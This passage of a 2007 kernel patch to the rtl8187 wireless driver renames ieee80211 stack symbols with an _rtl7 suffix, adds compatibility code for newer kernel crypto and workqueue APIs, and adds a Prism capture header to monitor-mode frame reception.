KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct 